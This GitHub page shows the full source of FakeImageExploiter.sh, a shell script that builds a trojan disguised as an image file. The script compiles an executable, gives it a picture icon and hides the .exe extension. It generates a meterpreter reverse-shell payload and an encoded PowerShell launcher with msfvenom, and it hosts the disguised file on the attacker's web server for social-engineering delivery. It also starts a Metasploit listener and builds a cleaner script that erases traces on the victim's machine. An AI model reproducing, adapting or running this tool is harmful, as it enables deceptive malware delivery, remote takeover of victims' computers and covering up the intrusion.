forked from r00t-3xp10it/FakeImageExploiter
-
Notifications
You must be signed in to change notification settings - Fork 1
/
FakeImageExploiter.sh
executable file
·664 lines (591 loc) · 25 KB
/
FakeImageExploiter.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
#!/bin/sh
##
# FakeImageExploiter v1.4 - agent.jpg.exe
# Version: v1.4 (Stable)
# CodeName: Metamorphosis
# Author: pedro ubuntu [ r00t-3xp10it ]
# Distros Supported : Linux Ubuntu, Kali, Mint, Parrot OS
# Suspicious-Shell-Activity (SSA) RedTeam develop @2017
#
# Description:
# This module takes one existing image.jpg and one payload.ps1 (input by user) and
# builds a new payload (agent.jpg.exe) that if executed it will trigger the download
# of the 2 previous files stored into apache2 webserver (image.jpg + payload.ps1).
# This module also changes the payload Icon to match the input image.jpg Then uses
# 'hides known file extensions' to hidde the .exe extension (final: agent.jpg.exe) ..
#
# Exploitation:
# agent.jpg.exe final binary should be deliver to target using social enginnering
# (apache2) As soon as the victim runs our executable, our picture will be downloaded
# and opened in the default picture viewer, our malicious payload will be executed,
# and we will get a meterpreter session.
#
# 'This tool also builds a cleaner.rc file to delete payloads left in target'
# Credits: https://null-byte.wonderhowto.com/how-to/hide-virus-inside-fake-picture-0168183
##
# resize terminal window [ milton@barra ] ..
resize -s 22 92 > /dev/null
#
# Colorise shell Script output leters
#
Colors() {
Escape="\033";
white="${Escape}[0m";
RedF="${Escape}[31m";
GreenF="${Escape}[32m";
YellowF="${Escape}[33m";
BlueF="${Escape}[34m";
CyanF="${Escape}[36m";
Reset="${Escape}[0m";
}
#
# Framework variable declarations
#
VeR="1.3" # Framework version
ArCh=`arch` # store attackers system arch
IPATH=`pwd` # store Framework full path
HoME=`echo ~` # store home variable
CnA="Metamorphosis" # Framework codename display
DiStR0=`awk '{print $1}' /etc/issue` # grab distribution (Ubuntu | Kali | parrot)
InT3R=`netstat -r | grep "default" | awk {'print $8'}` # grab interface in use (wlan0 | eth0)
HkLm=`cat $HoME/.wine/system.reg | egrep -m 1 'ProductName' | cut -d '=' -f2 | cut -d '"' -f2` > /dev/null 2>&1 # wine windows version
#
# Read options (configurations) from settings file ..
#
bYR=`cat $IPATH/settings | egrep -m 1 "BYPASS_RH" | cut -d '=' -f2` > /dev/null 2>&1 # bypass resource hacker funtion?
EtU=`cat $IPATH/settings | egrep -m 1 "PICTURE_EXTENSION" | cut -d '=' -f2` > /dev/null 2>&1 # store extension to use
PaLe=`cat $IPATH/settings | egrep -m 1 "PAYLOAD_EXTENSION" | cut -d '=' -f2` > /dev/null 2>&1 # store extension to use
ApAc=`cat $IPATH/settings | egrep -m 1 "APACHE_WEBROOT" | cut -d '=' -f2` > /dev/null 2>&1 # store apache2 webroot
NoMsF=`cat $IPATH/settings | egrep -m 1 "NON_MSF_PAYLOADS" | cut -d '=' -f2` > /dev/null 2>&1 # stored from settings file
AuTo=`cat $IPATH/settings | egrep -m 1 "AUTO_PAYLOAD_BUILD" | cut -d '=' -f2` > /dev/null 2>&1 # stored from settings file
AhPu=`cat $IPATH/settings | egrep -m 1 "AGENT_HANDLER_PORT" | cut -d '=' -f2` > /dev/null 2>&1 # Agent/handler port
FwDc=`cat $IPATH/settings | egrep -m 1 "FAKE_WORD_DOC" | cut -d '=' -f2` > /dev/null 2>&1 # fake word doc builder
PuIa=`cat $IPATH/settings | egrep -m 1 "USE_PUBLIC_IP" | cut -d '=' -f2` > /dev/null 2>&1 # Use public ip addr?
PuiB=`cat $IPATH/settings | egrep -m 1 "EXTERNAL_IP" | cut -d '=' -f2` > /dev/null 2>&1 # Use public ip addr?
ChEk=`cat $IPATH/settings | egrep -m 1 "MSF_REBUILD" | cut -d '=' -f2` > /dev/null 2>&1 # rebuild metasploit db?
#
# Config user system correct arch
#
if [ "$ArCh" = "i386" ] || [ "$ArCh" = "i686" ]; then
dEd="x86"
arch="wine"
PgFi="Program Files"
ComP="i586-mingw32msvc-gcc"
elif [ "$ArCh" = "x86_64" ] || [ "ArCh" = "amd64" ]; then
dEd="x64"
arch="wine64"
PgFi="Program Files (x86)" # default value
ComP="i686-w64-mingw32-gcc"
else
dEd="x86"
arch="wine"
PgFi="Program Files"
ComP="i586-mingw32msvc-gcc"
fi
#
# Resource hacker install path (local)
#
RhI="$HoME/.wine/drive_c/$PgFi/Resource Hacker/ResourceHacker.exe"
#
# Grab Ip address to config apache2 URL and evil agent download URL
#
case $DiStR0 in
Kali) IP=`ifconfig $InT3R | egrep -w "inet" | awk '{print $2}'`;;
Debian) IP=`ifconfig $InT3R | egrep -w "inet" | awk '{print $2}'`;;
Mint) IP=`ifconfig $InT3R | egrep -w "inet" | awk '{print $2}' | cut -d ':' -f2`;;
Ubuntu) IP=`ifconfig $InT3R | egrep -w "inet" | cut -d ':' -f2 | awk {'print $1'}`;;
Parrot) IP=`ifconfig $InT3R | egrep -w "inet" | cut -d ':' -f2 | cut -d 'B' -f1`;;
BackBox) IP=`ifconfig $InT3R | egrep -w "inet" | cut -d ':' -f2 | cut -d 'B' -f1`;;
elementary) IP=`ifconfig $InT3R | egrep -w "inet" | cut -d ':' -f2 | cut -d 'B' -f1`;;
*) IP=`zenity --title="☠ Input your IP addr ☠" --text "example: 192.168.1.68" --entry --width 300`;;
esac
clear
#
# Use your public ip addr to deliver payloads over wan ..
#
if [ "$PuIa" = "YES" ]; then
IP="$PuiB"
fi
#
# Check for dependencies Installed ..
# xterm, zenity, apache2, mingw32[64], ResourceHacker(wine)
#
Colors;
echo ${BlueF}[☆]${white} Checking backend applications ..${Reset};
sleep 1
#
# search for mingw32[64] intallation ..
# i586-mingw32msvc-gcc OR i686-w64-mingw32-gcc
#
apc=`which $ComP`
if [ "$?" != "0" ]; then
FaIl="YES"
echo ${RedF}[x]${white} mingw32[64] installation '->' not found!${Reset};
sleep 1
echo ${RedF}[x]${white} This script requires mingw32[64] to work${Reset};
echo ${YellowF}[☆] Please wait: installing missing dependencies ..${Reset};
#
# Installing the correct arch GCC compiller
#
if [ "$dEd" = "x86" ]; then
echo ""
sudo apt-get install mingw32
echo ""
else
echo ""
sudo dpkg --add-architecture i386 && apt-get update && apt-get -y dist-upgrade --allow-downgrades && apt-get install -y mingw32 i586-mingw32msvc-gcc mingw-w64 i686-w64-mingw32-gcc
echo ""
fi
else
echo ${BlueF}[☆]${white}" mingw32 installation : ${GreenF}found!"${Reset};
sleep 1
fi
# search for wine intallation ..
apc=`which wine`
if [ "$?" != "0" ]; then
FaIl="YES"
echo ${RedF}[x]${white} Wine installation '->' not found!${Reset};
sleep 1
echo ${RedF}[x]${white} This script requires wine to work${Reset};
echo ${YellowF}[☆] Please wait: installing missing dependencies ..${Reset};
echo ""
sudo apt-get install wine
echo ""
else
echo ${BlueF}[☆]${white}" Wine installation : ${GreenF}found!"${Reset};
sleep 1
fi
# search for xterm intallation ..
apc=`which xterm`
if [ "$?" != "0" ]; then
FaIl="YES"
echo ${RedF}[x]${white} Xterm installation '->' not found!${Reset};
sleep 1
echo ${RedF}[x]${white} This script requires xterm to work!${Reset};
echo ${YellowF}[☆] Please wait: installing missing dependencies ..${Reset};
echo ""
sudo apt-get install xterm
echo ""
else
echo ${BlueF}[☆]${white}" Xterm installation : ${GreenF}found!"${Reset};
sleep 1
fi
# search for zenity intallation ..
apc=`which zenity`
if [ "$?" != "0" ]; then
FaIl="YES"
echo ${RedF}[x]${white} Zenity installation '->' not found!${Reset};
sleep 1
echo ${RedF}[x]${white} This script requires Zenity to work!${Reset};
echo ${YellowF}[☆] Please wait: installing missing dependencies ..${Reset};
echo ""
sudo apt-get install zenity
echo ""
else
echo ${BlueF}[☆]${white}" Zenity installation : ${GreenF}found!"${Reset};
sleep 1
fi
# search for: '.wine/drive_c/Program Files' folder ..
if [ -e "$HoME/.wine/drive_c/$PgFi" ]; then
echo ${BlueF}[☆]${white}" Wine $PgFi : ${GreenF}found!"${Reset};
sleep 1
else
FaIl="YES"
echo ${RedF}[x]${white} Wine: $PgFi '->' not found!${Reset};
sleep 2
echo ${GreenF}[☆]${white} Please wait, trying to build required folders ..!${Reset};
winecfg > /dev/null 2>&1
echo ""
echo ${RedF}Listing drive_c directorys: ${Reset};
ls $HoME/.wine/drive_c
echo ""
fi
#
# Restart tool after dependencies installs (FaIl="YES")
#
if [ "$FaIl" = "YES" ]; then
sleep 3
echo ${YellowF}[☆] FakeImageExploiter needs to restart to finish installs ..${Reset};
sleep 2
exit
fi
#
# Config WINE windows version (if not supported) ..
#
if ! [ "$HkLm" = "Microsoft Windows 7" ]; then
echo ${RedF}[x]${white} Wine system detected : ${RedF}$HkLm ${Reset};
echo ${RedF}[x]${white} FakeImageExploiter requires: ${GreenF}windows 7${white} version ..${Reset};
echo ${YellowF}[☆] Starting winecfg, Please sellect required version ..${Reset};
sleep 1
winecfg > /dev/null 2>&1
fi
#
# 1º BANNER DISPLAY (run or abort)
# HINT: This will give users the chance to abort tool
# execution, edit 'settings' file to use a diferent extension ..
#
clear
cat << !
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+---+
|F|a|k|e|I|m|a|g|e|E|x|p|l|o|i|t|e|r|:|$VeR|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-----+
Extension sellected: .$EtU (picture)
Extension sellected: .$PaLe (payload)
'Config settings file to use other extensions'
!
#
# Chose to run or to abort framework execution ..
# IF decided to run, start requiered services ..
#
rUn=$(zenity --question --title="☠ FakeImageExploiter ☠" --text "Execute framework?" --width 270) > /dev/null 2>&1
#
# check if settings file its proper configurated
#
if [ "$PaLe" = "exe" ] && [ "$AuTo" = "YES" ]; then
echo ${RedF}[x]${YellowF} "[settings] AUTO_PAYLOAD_BUILD=${RedF}$AuTo${YellowF} and PAYLOAD_EXTENSION=${RedF}$PaLe"${Reset};
sleep 2
echo ${RedF}[x]${YellowF} "Can ${RedF}NOT${YellowF} be used simultaneously, AUTO_PAYLOAD_BUILD does not build .exe binarys."${Reset};
exit
fi
if [ "$?" -eq "0" ]; then
service apache2 start | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Start apache2 webserver" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
# read NON-METASPLOIT payloads conf in 'settings' file ..
if ! [ "$NoMsF" = "YES" ]; then
service postgresql start | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Start Metasploit services" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
#
# rebuild msfdb ? (check settings file)
#
if [ "$ChEk" = "ON" ]; then
#
# start msfconsole to check postgresql connection status
#
service postgresql start
echo ${BlueF}[☆]${white}" Checking msfdb connection status .."${Reset};
ih=`msfconsole -q -x 'db_status; exit -y' | awk {'print $3'}`
if [ "$ih" != "connected" ]; then
echo ${RedF}[x]${white}" postgresql selected, no connection .."${Reset};
echo ${BlueF}[☆]${white}" Please wait, rebuilding msf database .."${Reset};
# rebuild msf database (database.yml)
msfdb reinit | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Rebuild metasploit database" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
echo ${GreenF}[✔]${white}" postgresql connected to msf .."${Reset};
sleep 2
else
echo ${GreenF}[✔]${white}" postgresql connected to msf .."${Reset};
sleep 2
fi
fi
fi
else
clear
echo ""
# Abort tool execution, lets chose another extension to use ..
echo ${white} Codename${RedF}::${white}$CnA ${Reset};
echo ${white} Author${RedF}::${white}pedr0 ubuntu${RedF}::${white}[r00t-3xp10it]${Reset};
echo ${white} FakeImageExploiter${RedF}::${white}v$VeR${RedF}::${white}SuspiciousShellActivity©${RedF}::${white}RedTeam${RedF}::${white}2017${Reset};
echo ""
# Stoping all services ..
service apache2 stop | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Stop apache2 webserver" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
if ! [ "$NoMsF" = "YES" ]; then
service postgresql stop | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Stop postgresql service" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
fi
exit
fi
#
# START OF THE 'REAL' FUNTIONS, Questions to user (zenity)
#
if [ "$AuTo" = "YES" ]; then
#
# AUTO_PAYLOAD_BUILD=YES (settings file conf) ..
# WARNING: This funtion only works if active in settings file ..
#
paylo=$(zenity --list --title "☠ AUTO-BUILD PAYLOAD ☠" --text "\nChose payload to build:" --radiolist --column "Pick" --column "Option" TRUE "windows/meterpreter/reverse_tcp" FALSE "windows/meterpreter/reverse_tcp_dns" FALSE "windows/meterpreter/reverse_http" FALSE "windows/meterpreter/reverse_https" FALSE "windows/x64/meterpreter/reverse_tcp" FALSE "windows/x64/meterpreter/reverse_https" --width 350 --height 300) > /dev/null 2>&1
xterm -T " FakeImageExploiter - build payload: .$PaLe " -geometry 110x23 -e "sudo msfvenom -p $paylo LHOST=$IP LPORT=$AhPu -f psh-cmd -o $IPATH/output/chars.raw" > /dev/null 2>&1
# Inject shellcode into payload.ps1
cd $IPATH/output
str0=`cat chars.raw | awk {'print $12'}`
echo "pOwErShElL -noP -wIN 1 -nOnI -eN Sh33L" > payload.raw
sed "s|Sh33L|$str0|" payload.raw > payload.$PaLe
# Delete old conf files ..
rm payload.raw > /dev/null 2>&1
rm chars.raw > /dev/null 2>&1
cd $IPATH
else
# Orginal payload full-path variable
UpL=$(zenity --title "☠ PAYLOAD TO BE TRANSFORMED (only .$PaLe) ☠" --filename=$IPATH --file-selection --text "chose payload to be transformed") > /dev/null 2>&1
fi
sleep 1
# Orginal image.jpg full-path variable
JpG=$(zenity --title "☠ IMAGE TO BE USED (only .$EtU) ☠" --filename=$IPATH --file-selection --text "chose image to use.") > /dev/null 2>&1
sleep 1
#
# IF: FAKE_WORD_DOC=YES
#
if [ "$FwDc" = "YES" ]; then
PaTh="$IPATH/icons/Microsoft-Word.ico"
else
#
# Icon to use in agent.jpg.exe (RH auto-replacement)
# HINT: zenity displays will be based on picture inputed extension ..
#
if [ "$EtU" = "jpg" ]; then
IcOn=$(zenity --list --title "☠ ICON REPLACEMENT ☠" --text "Chose one icon from the list." --radiolist --column "Pick" --column "Option" TRUE "JPG-black.ico" FALSE "JPG-white.ico" FALSE "JPG-green.ico" FALSE "Input your own icon" --width 330 --height 240) > /dev/null 2>&1
elif [ "$EtU" = "jpeg" ]; then
IcOn=$(zenity --list --title "☠ ICON REPLACEMENT ☠" --text "Chose one icon from the list." --radiolist --column "Pick" --column "Option" TRUE "JPEG-black.ico" FALSE "JPEG-white.ico" FALSE "JPEG-orange.ico" FALSE "Input your own icon" --width 330 --height 240) > /dev/null 2>&1
elif [ "$EtU" = "png" ]; then
IcOn=$(zenity --list --title "☠ ICON REPLACEMENT ☠" --text "Chose one icon from the list." --radiolist --column "Pick" --column "Option" TRUE "PNG-black.ico" FALSE "PNG-white.ico" FALSE "PNG-simple.ico" FALSE "Input your own icon" --width 330 --height 240) > /dev/null 2>&1
else
# I dont recognise the extension (picture) input by user ..
IcOn=$(zenity --list --title "☠ ICON REPLACEMENT ☠" --text "Chose one icon from the list." --radiolist --column "Pick" --column "Option" TRUE "JPG-Ios7.ico" FALSE "Microsoft-Word.ico" FALSE "Microsoft-Excel.ico" FALSE "Input your own icon" --width 330 --height 240) > /dev/null 2>&1
fi
#
# User have decided to input is own icon.ico file ..
# So, were is it ? (your icon.ico full path?) ..
#
if [ "$IcOn" = "Input your own icon" ]; then
ImR=$(zenity --title "☠ ICON REPLACEMENT ☠" --filename=$IPATH --file-selection --text "chose icon.ico to use") > /dev/null 2>&1
PaTh="$ImR"
else
PaTh="$IPATH/icons/$IcOn"
fi
fi
sleep 1
# Rename your agent (name.jpg.exe) ..
MiP=$(zenity --title "☠ PAYLOAD FINAL NAME ☠" --text "example: screenshot" --entry --width 300) > /dev/null 2>&1
clear
cat << !
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+---+
|F|a|k|e|I|m|a|g|e|E|x|p|l|o|i|t|e|r|:|$VeR|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-----+
!
#
# Build/config evil agent C binary
# HINT: In reallity we are just using SED to config it ..
#
cd $IPATH/bin
echo ${BlueF}[☆]${white} Building : evil agent ..${Reset};
#
# If binary extension = exe then compile evil2.C [mascerano fix]
#
if [ "$PaLe" = "exe" ]; then
sed "s|LhOsT|$IP|g" evil2.c > evilcopy.c
sed -i "s|ScRee|$MiP.$EtU|g" evilcopy.c
sed -i "s|EhLh|$PaLe|g" evilcopy.c
sleep 2
else
sed "s|LhOsT|$IP|g" evil.c > evilcopy.c
sed -i "s|ScRee|$MiP.$EtU|g" evilcopy.c
sed -i "s|EhLh|$PaLe|g" evilcopy.c
sleep 2
fi
#
# Compiling agent using mingw32[64] (gcc)
# WARNING: this funtion only compiles 32bites payloads
# GCC : i586-mingw32msvc-gcc OR i686-w64-mingw32-gcc
#
echo ${BlueF}[☆]${white} Compiling: agent using mingw32 ..${Reset};
sleep 2
$ComP evilcopy.c -o trigger.exe -lws2_32 -mwindows
mv trigger.exe $IPATH/output/trigger.exe > /dev/null 2>&1
cd $IPATH
#
# Run or abort ResourceHacker usage (BYPASS_RH=YES)
# This funtion allow you to use another editor to change icons ..
#
if [ "$bYR" = "YES" ]; then
echo ${YellowF}[☆]${white} Manually change icon.ico sellected ..${Reset};
echo ${YellowF}[☆]${white} Use your favorite editor to change icon [trigger.exe]${Reset};
echo ${YellowF}[☠] When finish, press any key to Continue ..${Reset};
# Waiting for you to finish (read op) ..
read op
# Now, port the metamorphosis agent to output folder ..
mv $IPATH/output/trigger.exe $IPATH/output/agent.exe > /dev/null 2>&1
else
#
# Check for resource hacker installation (wine)
# Iam paranoic you know? i like to check twice just in case :D
#
if [ -f "$RhI" ]; then
echo ${BlueF}[☆]${white} ResourceHacker.exe: found ..${Reset};
sleep 1
#
# Wine command to call resourcehacker and add an icon.ico to the 'agent.exe'
#
echo ${BlueF}[☆]${white} Working: In backdoor agent ..${Reset};
$arch "$RhI" -open "$IPATH/output/trigger.exe" -save "$IPATH/output/agent.exe" -action addskip -res "$PaTh" -mask ICONGROUP,MAINICON,
echo ${BlueF}[☆]${white} Change : backdoor agent icons ..${Reset};
sleep 1
else
#
# Resource-Hacker Installation under WINE (the problem beggings) ..
# Lets hope everything its proper config before running this funtion ..
# OR this funtion will enter into a loop, unless (BYPASS_RH=YES) its active in settings file.
#
echo ${RedF}[x]${white} ResourceHacker.exe '->' not found!${Reset};
sleep 1
cat << !
Installing ResourceHacker under .wine directorys ..
Version:$HkLm Arch:$ArCh Folder:$PgFi
PATH:$RhI
!
sleep 3
# Installing Resource-Hacker.exe under wine ..
xterm -T "FakeImageExploiter" -geometry 90x26 -e "$arch $IPATH/bin/reshacker_setup.exe && sleep 3"
echo ${YellowF}[☆] Please wait, restarting tool ..${Reset};
echo ${YellowF}[☆] For proper ResourceHacker.exe Instalation!${Reset};
sleep 2
exit
fi
fi
#
# Change agent extension (spoof extension)
# TODO: Downside of RTLO, only last six caracters will be spoofed [no jpeg]
#
echo ${BlueF}[☆]${white} Change : backdoor agent extension ..${Reset};
mv $IPATH/output/agent.exe $IPATH/output/$MiP.$EtU.exe > /dev/null 2>&1
sleep 2
#
# Port to apache2 all files (zip agent.jpg.exe)
#
echo ${BlueF}[☆]${white} Port: all files to apache2 webserver ..${Reset};
#
# IF: AUTO_PAYLOAD_BUILD=YES
# Then port FakeImageExploiter build (payload.ps1) to apache2 ..
#
if [ "$AuTo" = "YES" ]; then
cp $IPATH/output/payload.$PaLe $ApAc/payload.$PaLe > /dev/null 2>&1
else
cp $UpL $ApAc/payload.$PaLe > /dev/null 2>&1
fi
cp $JpG $ApAc/$MiP.$EtU > /dev/null 2>&1
sleep 2
echo ${BlueF}[☆]${white} Creating: archive $MiP.zip ..${Reset};
cd $IPATH/output
# IF: FAKE_WORD_DOC=YES
if [ "$FwDc" = "YES" ]; then
# Zip it (to apache2 webserver delivery) ..
mv $MiP.$EtU.exe $MiP.docx.exe > /dev/null 2>&1
zip $MiP.zip $MiP.docx.exe > /dev/null 2>&1
mv $MiP.zip $ApAc/$MiP.zip > /dev/null 2>&1
else
# Zip it (to apache2 webserver delivery) ..
zip $MiP.zip $MiP.$EtU.exe > /dev/null 2>&1
mv $MiP.zip $ApAc/$MiP.zip > /dev/null 2>&1
fi
cd $IPATH
sleep 2
#
# Use your own binary (NON_MSF_PAYLOADS=YES)
# WARNING: You need to start your own handler to recibe the connection ..
# WARNING: If this funtion is active, then we will not build the cleaner.rc ..
# WARNING: This funtion will NOT work together with (AUTO_PAYLOAD_BUILD=YES) ..
#
if [ "$NoMsF" = "YES" ]; then
echo ${BlueF}[☠]${white} Metamorphosis: completed ..${Reset};
sleep 2
echo ${YellowF}[☠] Start your own handler now '(listener)' ..${Reset};
sleep 2
# Clean stuff (old config files)
rm $IPATH/bin/evilcopy.c > /dev/null 2>&1
rm $IPATH/output/trigger.exe > /dev/null 2>&1
# Attack vector (apache2 webserver)
echo ""
echo ${RedF}" ATTACK VECTOR: http://$IP/$MiP.zip"${Reset};
echo ${RedF}" AGENT: $IPATH/output/$MiP.$EtU.exe"${Reset};
echo ""
sleep 1
echo ${YellowF}[☠] When finish, press any key to Exit FakeImageExploiter ..${Reset};
# Waiting for you to finish (read op) ..
read op
else
#
# Build cleanner resource file (cleaner.rc)
# WARNING: This RC file must be called manually from meterpreter prompt
#
echo ${BlueF}[☆]${white} Creating: resource cleaner.rc ..${Reset};
sleep 2
cd $IPATH/bin
#
# If binary extension = exe then use cleaner2.rc
# This cleaner.rc will delete payload.ps1 and picture.jpg ..
#
if [ "$PaLe" = "exe" ]; then
sed "s|RffR|$PaLe|g" cleaner2.rc > copy.rc
sed -i "s|FaaF|$MiP|g" copy.rc
sed -i "s|AssA|$EtU|g" copy.rc
mv copy.rc $IPATH/output/cleaner.rc > /dev/null 2>&1
cd $IPATH
else
#
# This cleaner.rc only deletes picture.jpg from target ..
# Because all non-exe payloads will be executed in target RAM (dont touch disk).
#
sed "s|FaaF|$MiP|g" cleaner.rc > copy.rc
sed -i "s|AssA|$EtU|g" copy.rc
mv copy.rc $IPATH/output/cleaner.rc > /dev/null 2>&1
cd $IPATH
fi
#
# Start metasploit multi-handler ..
# WARNING: agent.jpg.exe will be ziped (zip) for apache2 use, because
# it raises less suspicious to use an URL http://IP/image.zip that
# use URL http://IP/image.jpg.exe to deliver payload using apache2
#
echo ${BlueF}[☠]${white} Metamorphosis: completed ..${Reset};
rm $IPATH/output/trigger.exe > /dev/null 2>&1
sleep 2
#
# IF: AUTO_PAYLOAD_BUILD=YES
# Then auto-config the handler [Metasploit] ..
#
if [ "$AuTo" = "YES" ]; then
lhost="$IP"
lport="$AhPu"
else
#
# Manually input handler settings [metasploit]
#
lhost=$(zenity --title="☠ Enter binary.exe LHOST ☠" --text "example: $IP" --entry --width 300) > /dev/null 2>&1
lport=$(zenity --title="☠ Enter binary.exe LPORT ☠" --text "example: $AhPu" --entry --width 300) > /dev/null 2>&1
# input the payload used (of your uploaded binary)
paylo=$(zenity --list --title "☠ FakeImageExploiter ☠" --text "\nChose payload used by binary.exe:" --radiolist --column "Pick" --column "Option" TRUE "windows/shell_bind_tcp" FALSE "windows/shell/reverse_tcp" FALSE "windows/meterpreter/reverse_tcp" FALSE "windows/meterpreter/reverse_tcp_dns" FALSE "windows/meterpreter/reverse_http" FALSE "windows/meterpreter/reverse_https" FALSE "windows/x64/meterpreter/reverse_tcp" FALSE "windows/x64/meterpreter/reverse_https" --width 350 --height 350) > /dev/null 2>&1
fi
#
# Attack vector (apache2 webserver)
# HINT: with cleaner.rc resource file display ..
#
echo ""
echo ${RedF}" ATTACK VECTOR: http://$IP/$MiP.zip"${Reset};
if [ "$FwDc" = "YES" ]; then
echo ${RedF}" AGENT: $IPATH/output/$MiP.docx.exe"${Reset};
else
echo ${RedF}" AGENT: $IPATH/output/$MiP.$EtU.exe"${Reset};
fi
echo ${RedF}" CLEAN: meterpreter > resource $IPATH/output/cleaner.rc"${Reset};
sleep 1
# Start metasploit multi-handler ..
xterm -T " PAYLOAD MULTI-HANDLER " -geometry 110x23 -e "sudo msfconsole -x 'use exploit/multi/handler; set LHOST $lhost; set LPORT $lport; set PAYLOAD $paylo; exploit'"
fi
#
# Clean all things up ..
#
rm $ApAc/$MiP.$EtU > /dev/null 2>&1
rm $ApAc/$MiP.zip > /dev/null 2>&1
rm $ApAc/payload.$PaLe > /dev/null 2>&1
rm $ApAc/$MiP.$EtU.exe > /dev/null 2>&1
rm $IPATH/bin/evilcopy.c > /dev/null 2>&1
rm $IPATH/output/trigger.exe > /dev/null 2>&1
sleep 2
#
# Exit framework ..
#
echo ""
echo ${white} Codename${RedF}::${white}$CnA ${Reset};
echo ${white} Author${RedF}::${white}pedr0 ubuntu${RedF}::${white}[r00t-3xp10it]${Reset};
echo ${white} FakeImageExploiter${RedF}::${white}v$VeR${RedF}::${white}SuspiciousShellActivity©${RedF}::${white}RedTeam${RedF}::${white}2017${Reset};
sleep 1
# Stop services, And good nigth ..
service apache2 stop | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Stop apache2 webserver" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
if ! [ "$NoMsF" = "YES" ]; then
service postgresql stop | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Stop postgresql service" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
fi
exit